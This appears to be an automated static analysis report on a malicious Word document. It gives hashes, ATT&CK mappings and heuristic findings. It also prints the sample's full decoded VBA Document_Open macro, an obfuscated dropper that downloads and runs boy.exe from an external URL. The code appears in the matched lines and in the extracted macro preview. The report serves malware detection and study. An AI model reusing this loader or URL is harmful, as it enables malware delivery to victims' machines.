Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6730f1d2437fd353…

MALICIOUS

Office (OLE)

30.0 KB Created: 2018-11-12 08:19:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: afb58d05666dbbc4fb1a5616c42c8c17 SHA-1: 7e88dc00935402022ff97ece6afe804743517dc6 SHA-256: 6730f1d2437fd3536c8b33f576db042b6e0296fb32a379d6063906944d1d14df
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a Document_Open VBA macro that is obfuscated and uses Shell() and CreateObject() calls. The macro decodes a URL, downloads a file named 'boy.exe' from 'http://rmzolaskharay.com/boy.exe', saves it to disk as 'N\YZXKWO8ObO', and then executes it. This indicates a dropper functionality designed to fetch and run a secondary payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(168 - 101) & Chr(604 - 527) & Chr(405 - 305) & Chr(906 - 874) & Chr(857 - 810) & Chr(812 - 713) & Chr(906 - 874) & Chr(812 - 713) & Chr(405 - 305) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(168 - 101) & Chr(604 - 527) & Chr(405 - 305) & Chr(906 - 874) & Chr(857 - 810) & Chr(812 - 713) & Chr(906 - 874) & Chr(812 - 713) & Chr(405 - 305) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & U2p & " J2k= ""http://rmzolaskharay.com/boy.exe"">>E6p.VBS &" & U2p & " P8x = F1e(""N\YZXKWO8ObO"")>>E6p.VBS &" & U2p & " Set L3b = CreateObject(F1e(""W]bWV<8bWVR^^Z""))>>E6p.VBS &" & U2p & " L3b.Open F1e(""QO^""), J2k, False>>E6p.VBS &" & U2p & " L3b.send ("""")>>E6p.VBS  &" & U2p & " Set T6i = CreateObject(F1e(""KNYNL8]^\OKW""))>>E6p.VBS &" & U2p & " T6i.Open>>E6p.VBS &" & U2p & " T6i.Type = 1 >>E6p.VBS  &@eCHo T6i.Write L3b.ResponseBody>>E6p.VBS &" & U2p & " T6i.Position = 0 >>E6p.VB …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(168 - 101) & Chr(604 - 527) & Chr(405 - 305) & Chr(906 - 874) & Chr(857 - 810) & Chr(812 - 713) & Chr(906 - 874) & Chr(812 - 713) & Chr(405 - 305) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & U2p & " J2k= ""http://rmzolaskharay.com/boy.exe"">>E6p.VBS &" & U2p & " P8x = F1e(""N\YZXKWO8ObO"")>>E6p.VBS &" & U2p & " Set L3b = CreateObject(F1e(""W]bWV<8bWVR^^Z""))>>E6p.VBS &" & U2p & " L3b.Open F1e(""QO^""), J2k, False>>E6p.VBS &" & U2p & " L3b.send ("""")>>E6p.VBS  &" & U2p & " Set T6i = CreateObject(F1e(""KNYNL8]^\OKW""))>>E6p.VBS &" & U2p & " T6i.Open>>E6p.VBS &" & U2p & " T6i.Type = 1 >>E6p.VBS  &@eCHo T6i.Write L3b.ResponseBody>>E6p.VBS &" & U2p & " T6i.Position = 0 >>E6p.VB …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://rmzolaskharay.com/boy.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1626 bytes
SHA-256: 728c251918087b05d88f34d7368097b98ecd1633304932199d5a93dc943d551b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
U2p = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(168 - 101) & Chr(604 - 527) & Chr(405 - 305) & Chr(906 - 874) & Chr(857 - 810) & Chr(812 - 713) & Chr(906 - 874) & Chr(812 - 713) & Chr(405 - 305) & _
 Chr(906 - 874) & Chr(752 - 715) & Chr(91 - 7) & Chr(660 - 591) & Chr(617 - 540) & Chr(725 - 645) & Chr(752 - 715) & _
 " & " & U2p & " J2k= ""http://rmzolaskharay.com/boy.exe"">>E6p.VBS &" & U2p & " P8x = F1e(""N\YZXKWO8ObO"")>>E6p.VBS &" & U2p & " Set L3b = CreateObject(F1e(""W]bWV<8bWVR^^Z""))>>E6p.VBS &" & U2p & " L3b.Open F1e(""QO^""), J2k, False>>E6p.VBS &" & U2p & " L3b.send ("""")>>E6p.VBS  &" & U2p & " Set T6i = CreateObject(F1e(""KNYNL8]^\OKW""))>>E6p.VBS &" & U2p & " T6i.Open>>E6p.VBS &" & U2p & " T6i.Type = 1 >>E6p.VBS  &@eCHo T6i.Write L3b.ResponseBody>>E6p.VBS &" & U2p & " T6i.Position = 0 >>E6p.VBS &" & U2p & " T6i.SaveToFile P8x, 2 >>E6p.VBS &" & U2p & " T6i.Close>>E6p.VBS &" & U2p & " function F1e(Q5v) >> E6p.VBS &" & U2p & " For W7k = 1 To Len(Q5v) >>E6p.VBS &" & U2p & " Q2s = Mid(Q5v, W7k, 1) >>E6p.VBS &" & U2p & " Q2s = Chr(Asc(Q2s)- 10) >>E6p.VBS &" & U2p & " C6m = C6m + Q2s >> E6p.VBS  &" & U2p & " Next >>E6p.VBS &" & U2p & " F1e = C6m >>E6p.VBS &" & U2p & " End Function >>E6p.VBS  & E6p.VBS  &dEl E6p.VBS  & tIMeOUT 13 & DROPNAME.EXE", vbHide
End Sub

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